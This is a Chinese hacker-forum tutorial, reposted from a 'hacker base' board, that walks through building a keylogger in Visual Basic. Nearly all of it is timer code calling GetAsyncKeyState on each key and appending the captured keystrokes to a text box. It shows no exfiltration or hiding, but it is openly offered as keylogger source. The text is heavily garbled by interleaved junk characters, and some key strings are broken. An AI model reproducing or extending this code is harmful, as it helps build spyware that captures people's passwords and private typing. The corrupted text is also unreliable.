手把手教你做键盘记录器

韩冰

作者：小珂 转自黑基BBS原创作品版 * W, `1 R4 ?4 v$ d) x版权归黑客基地所有， 转载请注明出处

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前几天写了一篇键盘记录器，好多人反映看不懂， 9 L) K, \! s ?+ ]* M3 U- O对新人没什么用处，所以且这篇我会写的 很详细，再也不像那篇，出了代码什么也没 ^!^ $ q8 K$ k g1 g* w1 O! E! K/ |4 u这个程序将会详细的讲解如何记载键盘的每一次输入。 下面介绍的这个程序主要是利用GetAsyncKeyState函数， 7 R2 m3 N" f8 a9 E' o9 c1 t2 d使用GetAsyncKeyState可以获得键盘的动作。 GetAsyncKeyState函数根据虚拟键表判断按键的类型。 0 B* `# q, \* T: l' x2 d返回值为一个16位的二进值数，如果被按下则最高位为1， * y1 `' d8 `8 f0 l! I5 Y" Q即返回-32767。下面是API函数及鼠标中左右键在虚拟键表中的定义： Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer " ]6 @6 Y3 O2 w5 `好了，函数就先介绍这么多，下面开始动手实战了 first,当然是创建窗口了 z4 t, R- f+ n : z ]/ @: z# M& c 在时间控件的Timer时间中定义检查按键类型，代码如下： Dim AddKey * Y9 F. |# X4 p: w% u! W KeyResult = GetAsyncKeyState(13) '回车键 0 {4 a$ \+ l5 e! U6 i7 Y If KeyResult = -32767 Then * A' p# j( b) _2 N# e& D4 n% t AddKey = "[ENTER]" GoTo KeyFound 1 x" d0 E! L- P1 ~$ T7 a End If KeyResult = GetAsyncKeyState(17) 'Ctrl键 If KeyResult = -32767 Then AddKey = "[CTRL]" 8 U( {. k/ o) a9 v3 E GoTo KeyFound ( L" m! f" y* G5 J9 J End If KeyResult = GetAsyncKeyState(8) '退格键 ; ]( m) d& `$ a0 V( P# w If KeyResult = -32767 Then f D+ J" K: G7 Y AddKey = "[BKSPACE]" GoTo KeyFound End If $ u/ e# r6 M3 G4 _$ M' }% W KeyResult = GetAsyncKeyState(9) If KeyResult = -32767 Then 8 f; @* L% i; V+ ? AddKey = "[TAB]" - \1 \" ~. F8 D& j1 h GoTo KeyFound End If $ X$ I: x5 I3 |5 w d; h. Y3 h% G KeyResult = GetAsyncKeyState(18) If KeyResult = -32767 Then AddKey = "[ALT]" GoTo KeyFound End If KeyResult = GetAsyncKeyState(19) " D0 M: s8 m- \ If KeyResult = -32767 Then / Q+ S7 p( T& o) S AddKey = "[PAUSE]" % V }- P" f/ _" a, S GoTo KeyFound 7 N! _* R3 e! F: `% y End If $ I* c2 c' J2 t G r# ~ KeyResult = GetAsyncKeyState(20) If KeyResult = -32767 Then 6 b; U( C8 Y: F8 I4 m. O' n AddKey = "[CAPS]" ' W! L+ n1 U% O9 M8 _ GoTo KeyFound End If + i; a" i, d. a KeyResult = GetAsyncKeyState(27) If KeyResult = -32767 Then AddKey = "[ESC]" GoTo KeyFound 1 r5 t6 b6 @$ ? End If ( V* V, f. j7 [5 E) R% | KeyResult = GetAsyncKeyState(33) If KeyResult = -32767 Then AddKey = "[PGUP]" GoTo KeyFound End If * I* u6 B6 x2 b& e KeyResult = GetAsyncKeyState(34) If KeyResult = -32767 Then AddKey = "[PGDN]" GoTo KeyFound $ h4 _9 K% e; f+ H, i& e End If ! l9 u ?' F0 D! p8 L1 m - q* G0 _$ q% N4 U9 `: r KeyResult = GetAsyncKeyState(35) If KeyResult = -32767 Then AddKey = "[END]" 9 B* [' E/ O* v9 |, |5 m GoTo KeyFound End If 9 _4 E7 Z: G' }. S: |* k- K6 r n D 7 U! ^& w% J8 i KeyResult = GetAsyncKeyState(36) If KeyResult = -32767 Then 9 [" W) U; S, O( J AddKey = "[HOME]" GoTo KeyFound / K: |3 h1 s' `2 [$ L5 b. m End If KeyResult = GetAsyncKeyState(44) $ J$ _( t1 N- O2 Z If KeyResult = -32767 Then AddKey = "[SYSRQ]" # z* D# K$ I/ e& A# h4 Y GoTo KeyFound ' q$ V1 {5 @' [, v$ c/ T' Y End If KeyResult = GetAsyncKeyState(45) If KeyResult = -32767 Then AddKey = "[INS]" GoTo KeyFound End If 0 G5 B' i" w; _ e5 f/ m6 D KeyResult = GetAsyncKeyState(46) If KeyResult = -32767 Then 6 D" k- [# h+ O7 m- E& w+ p AddKey = "[DEL]" GoTo KeyFound End If 1 ~9 y5 Z2 \3 E( y / ^1 i8 K5 u% t; j5 Y KeyResult = GetAsyncKeyState(144) $ \. V, E/ H3 S5 b1 c! y& i If KeyResult = -32767 Then AddKey = "[NUM]" / e9 A1 j B% \0 E GoTo KeyFound End If 8 Q5 U& `# F2 u: T2 g: a- U: e2 w KeyResult = GetAsyncKeyState(37) If KeyResult = -32767 Then AddKey = "

" 1 s: u& g! T: W& S GoTo KeyFound End If - w2 I' z8 `, P2 R8 ~ ' y: [& w6 y# w. q. ~0 A' {; z KeyResult = GetAsyncKeyState(38) If KeyResult = -32767 Then AddKey = "[UP]" GoTo KeyFound . A x+ y; O7 u" F0 O$ e) c; P End If KeyResult = GetAsyncKeyState(39) % C$ L; l+ N$ { If KeyResult = -32767 Then AddKey = "

" ) t9 }# I9 P0 c ^. K7 a' @3 C( f GoTo KeyFound * f$ j7 Q7 {9 @) K2 U; A' g: X7 c End If ' B- k- k/ Y- ]% W& O h9 R KeyResult = GetAsyncKeyState(40) / P- y6 e# I" B8 w9 u% @: w# c If KeyResult = -32767 Then AddKey = "[DOWN]" GoTo KeyFound End If / ^! _& S" M) d+ P2 o0 ^ " d8 R- M$ i& v' W ' Y4 J- k/ y$ U7 `3 YKeyResult = GetAsyncKeyState(112) . i' T$ z5 `( N* m% h If KeyResult = -32767 Then AddKey = "[F1]" GoTo KeyFound End If * P6 n! o7 y( U: W- C" g # o1 x5 Q2 ]0 A3 yKeyResult = GetAsyncKeyState(113) If KeyResult = -32767 Then 9 c) v" V. e1 o. Y+ t AddKey = "[F2]" GoTo KeyFound 6 P+ q) Y$ E; |2 z) ? ?1 [9 i End If ! Q& ]! R7 U2 o0 n6 W; s3 i' d KeyResult = GetAsyncKeyState(114) 0 x$ A+ r1 n1 S+ p- h; |+ T1 _, p If KeyResult = -32767 Then AddKey = "[F3]" GoTo KeyFound End If : l1 d2 ]- L+ J" Y t3 ?$ b0 z- j( QKeyResult = GetAsyncKeyState(115) If KeyResult = -32767 Then AddKey = "[F4]" GoTo KeyFound End If ) V3 i0 C6 l" q. K KeyResult = GetAsyncKeyState(116) If KeyResult = -32767 Then 8 ?# o2 z3 L4 W3 Q4 v AddKey = "[F5]" GoTo KeyFound & X. b# L2 T/ y" o End If - @% B2 C4 s9 P! o: { 2 p# ~: @! [' Q1 i GKeyResult = GetAsyncKeyState(117) If KeyResult = -32767 Then ! U1 G) K; n* s2 v AddKey = "[F6]" 1 Z: P" I$ s# O- G GoTo KeyFound End If 0 Y; }* R7 t% V* c9 @KeyResult = GetAsyncKeyState(118) If KeyResult = -32767 Then AddKey = "[F7]" GoTo KeyFound End If KeyResult = GetAsyncKeyState(119) % L9 O' l& C1 n9 ~, k4 J/ K If KeyResult = -32767 Then ) y' a5 H$ c9 L& | l/ \4 t AddKey = "[F8]" $ w1 Q7 ^6 u) Z+ H5 h! T$ M GoTo KeyFound End If - {& [2 R: J# Q0 b8 E3 { KeyResult = GetAsyncKeyState(120) If KeyResult = -32767 Then AddKey = "[F9]" GoTo KeyFound : \; e+ a; S, I1 U End If ) p1 ?& p% `$ e/ c& EKeyResult = GetAsyncKeyState(121) If KeyResult = -32767 Then 9 b I$ U8 S) g% r- h& Q AddKey = "[F10]" GoTo KeyFound End If " O6 H: y; ]8 n, |+ I KeyResult = GetAsyncKeyState(122) If KeyResult = -32767 Then AddKey = "[F11]" GoTo KeyFound * Z8 M0 g: [$ n2 S4 t% K7 ~ End If ( T6 I, ?! h" y Y: A KeyResult = GetAsyncKeyState(123) 9 D% S; [7 R6 C! {$ R- j1 _0 k If KeyResult = -32767 Then AddKey = "[F12]" # I! \* g' i1 L) Y$ d5 a" M GoTo KeyFound End If ; `: X7 t3 ~5 K - n8 t+ s, [) \) aKeyResult = GetAsyncKeyState(124) 7 i7 I8 B9 b& m% |7 G |( l# i If KeyResult = -32767 Then & H' W/ h% L7 }# e3 _+ z2 U AddKey = "[F13]" GoTo KeyFound End If KeyResult = GetAsyncKeyState(125) 9 O9 @$ G% l# g4 [ If KeyResult = -32767 Then AddKey = "[F14]" GoTo KeyFound + g2 w) ?4 `' \* R End If KeyResult = GetAsyncKeyState(126) If KeyResult = -32767 Then AddKey = "[F15]" GoTo KeyFound End If KeyResult = GetAsyncKeyState(127) If KeyResult = -32767 Then " x6 Y, v; A- G' n) W AddKey = "[F16]" ( d1 N9 ^7 r- l' g GoTo KeyFound # m6 q6 \2 |; E { f) y/ T$ z End If - ^7 W* }9 j+ s# M! K6 yKeyResult = GetAsyncKeyState(32) 1 m: \/ f5 z+ ^2 ~+ @ If KeyResult = -32767 Then AddKey = " " GoTo KeyFound 6 z- L. Y( M0 C. l End If 0 h2 _$ f( V! `- F/ L 3 W/ z; B9 p3 }+ o5 T' B9 BKeyResult = GetAsyncKeyState(186) If KeyResult = -32767 Then 6 i1 S T, I7 w) ^ AddKey = ";" GoTo KeyFound , o0 x% K5 _, h7 a: O End If + }) A. y0 M$ O- A) r- ?8 I! S KeyResult = GetAsyncKeyState(187) If KeyResult = -32767 Then + D" r `: p# J& B; C" h0 l$ E AddKey = "=" GoTo KeyFound End If / |2 F# K. J) p8 t6 _+ | . ?8 Q# y. b# JKeyResult = GetAsyncKeyState(188) If KeyResult = -32767 Then AddKey = "," : [8 W, @9 |; {4 L3 f1 {% g$ P" | GoTo KeyFound * K6 l8 w. x7 G/ U% Z" V End If KeyResult = GetAsyncKeyState(189) If KeyResult = -32767 Then AddKey = "-" GoTo KeyFound $ D/ M3 p/ K7 x End If ; x K, _* L" x5 K2 ]KeyResult = GetAsyncKeyState(190) * p' N+ l( z i- m+ m9 g- m0 b6 g) {5 r If KeyResult = -32767 Then 5 O4 d2 X3 I2 } X7 ] AddKey = "." GoTo KeyFound End If ) E% ^9 ^+ D, K, ~/ w7 jKeyResult = GetAsyncKeyState(191) : y; }# t8 a) e If KeyResult = -32767 Then AddKey = "/" '/ ; E4 J! c: b/ Y; l! I& q J GoTo KeyFound End If KeyResult = GetAsyncKeyState(192) If KeyResult = -32767 Then AddKey = "`" '` GoTo KeyFound End If 6 N$ q# O* r0 ~4 W! a - g1 f; g4 S0 R2 e 1 G. h0 ^, r( R: U, i5 V - ^7 _5 U& h3 W'----------NUM PAD , O0 ^ A0 Q3 k& ?) m0 dKeyResult = GetAsyncKeyState(96) If KeyResult = -32767 Then + t) {5 B8 ?, O AddKey = "0" * O! K7 K7 ~, O" c2 y2 k GoTo KeyFound End If - p' s8 w+ B6 `3 h" O2 K % \ Y. G: H$ m+ j1 C; |, aKeyResult = GetAsyncKeyState(97) If KeyResult = -32767 Then % x2 v4 g: r$ O: h( } AddKey = "1" # n# x ]1 Y% U: ~. s$ B. F& l% r5 s GoTo KeyFound : [, v5 G9 }+ ^2 J% O0 { End If KeyResult = GetAsyncKeyState(98) & w7 s, @3 w0 n1 J5 t+ C; b If KeyResult = -32767 Then AddKey = "2" GoTo KeyFound End If 0 p& ?9 B( Y1 y' QKeyResult = GetAsyncKeyState(99) If KeyResult = -32767 Then 9 U3 N! c# p+ p! ^3 | AddKey = "3" GoTo KeyFound End If " @/ z" p; v6 `. S8 ~" j v 5 _) W+ E L& p3 Y" N KeyResult = GetAsyncKeyState(100) If KeyResult = -32767 Then AddKey = "4" GoTo KeyFound 5 @' E9 W: p/ M* X2 A) Q* ?4 Q End If KeyResult = GetAsyncKeyState(101) If KeyResult = -32767 Then * t% ]8 ?. E" V: S, Z$ A$ c AddKey = "5" ! l7 T" m! C, H- ^) O GoTo KeyFound End If , Y: r2 y1 [+ K; W' j 1 V v' Q' y, E- v) b& y ( t: G& Z3 m9 y; L- lKeyResult = GetAsyncKeyState(102) % l% Y# ]6 r" |; D1 i2 W5 |; y If KeyResult = -32767 Then 7 ^4 Q! ?4 L7 l& P AddKey = "6" 7 d/ _! a# a% K7 ` GoTo KeyFound End If 2 L; A& V, H$ U/ lKeyResult = GetAsyncKeyState(103) ! p' h4 o, I/ Q8 @3 ? If KeyResult = -32767 Then 2 c/ l2 P2 v4 s) K8 r& q" f AddKey = "7" ( j' Z+ s) Z( h6 y$ x GoTo KeyFound End If - m% P1 U" M% o) t. U! uKeyResult = GetAsyncKeyState(104) % G: ` Y* I, H$ j7 t9 h$ t% ^0 Y8 X If KeyResult = -32767 Then AddKey = "8" GoTo KeyFound 0 G- [7 ], G$ @8 ]; t! E End If & G6 {1 Z4 {- r: v7 q x5 K ^9 s5 x: ^$ q" F2 d- W/ c9 k/ }KeyResult = GetAsyncKeyState(105) ) t9 _! m5 E. M" V If KeyResult = -32767 Then l q) i2 d" k6 O: h' C AddKey = "9" GoTo KeyFound 6 l9 y3 N4 A% b End If % c( h, \$ P% MKeyResult = GetAsyncKeyState(106) ! R" O' Y) J' s3 J y If KeyResult = -32767 Then AddKey = "*" , G3 u" u1 B5 I GoTo KeyFound End If # v) {% o6 c1 t* U ; O1 C: c3 y. K! S+ O6 UKeyResult = GetAsyncKeyState(107) If KeyResult = -32767 Then 7 F, I- _6 U) C1 t) J AddKey = "+" GoTo KeyFound End If 6 _; j3 [! F) p2 S/ _ KeyResult = GetAsyncKeyState(108) If KeyResult = -32767 Then * u# E4 _' Y3 h. b AddKey = "[ENTER]" GoTo KeyFound End If KeyResult = GetAsyncKeyState(109) If KeyResult = -32767 Then 0 ~! W$ t2 |% l U: Y7 b AddKey = "-" * F: ~/ f$ D, R' Q+ [1 Q: E GoTo KeyFound 8 r$ n$ H6 u0 | End If , T; C( K# e0 A; KKeyResult = GetAsyncKeyState(110) If KeyResult = -32767 Then AddKey = "." GoTo KeyFound End If KeyResult = GetAsyncKeyState(2) If KeyResult = -32767 Then AddKey = "/" 7 n% A7 w: e. d. | GoTo KeyFound End If KeyResult = GetAsyncKeyState(220) 8 Y3 Q2 @+ u/ ~( v) q% M2 V J If KeyResult = -32767 Then AddKey = "\" - |, s% v0 m! s( Q, h GoTo KeyFound End If $ h/ Y. L( }+ K# T3 O . ?4 \1 E( w: F; u. AKeyResult = GetAsyncKeyState(222) If KeyResult = -32767 Then AddKey = "'" GoTo KeyFound ' c- D' z, X4 q" { End If KeyResult = GetAsyncKeyState(221) * B, ]6 d+ m0 L: b' R: f& Z If KeyResult = -32767 Then ' M2 o4 t- S5 L8 k! T: o& J+ z" m- s9 F' @ AddKey = "]" GoTo KeyFound N) n- J+ H# \ \+ @: a End If ( F( e7 i, Z6 ^% ^6 s) y% MKeyResult = GetAsyncKeyState(219) If KeyResult = -32767 Then AddKey = "[" GoTo KeyFound End If ! v$ ^1 U+ y' G2 L2 r& p! X/ }KeyResult = GetAsyncKeyState(16) 'shift键 7 @! q5 P1 o/ j6 x4 x( u If KeyResult = -32767 And TimeOut = 0 Then AddKey = "[SHIFT]" LastKey = AddKey 7 C) n& s" _' p: w TimeOut = 1 ) [) h e) x* Z( }4 b# K GoTo KeyFound ! ^, I3 x8 @8 j. T4 M, d6 V End If + j5 w7 E {4 G* W" S/ @ 0 w4 b0 i3 K# G4 @/ A) n8 E KeyLoop = 41 0 B, h, Z9 T8 \ Do Until KeyLoop = 256 ' 显示其他键 2 V) P2 X3 \0 T6 M* r KeyResult = GetAsyncKeyState(KeyLoop) If KeyResult = -32767 Then Text1.Text = Text1.Text + Chr(KeyLoop) ' K! U% F2 j! q7 C0 Q" V KeyLoop = KeyLoop + 1 Loop LastKey = AddKey Exit Sub KeyFound: '显示键的信息 Text1 = Text1 & AddKey End Sub 上面的（）里面的数字实际是就是那些键的Ascii码，比如13就代表回车，17代表Ctrl，…… % A& k* h1 r1 J+ I由于数目太多，一一列举不方便 3 k0 Y+ O6 q! L7 d+ S现提供Ascii表一份供对照 http://www.cstudy.cn/repository/ascii/default.htm 下面是其他的事件 ; N1 ]$ c) H" F! JPrivate Sub Timer2_Timer() TimeOut = 0 2 D9 u/ F3 U8 i3 Z, BEnd Sub : i+ r0 f' F9 q" H" L2 d目的是随时刷新清空 & Z7 v" R/ G8 J4 l4 I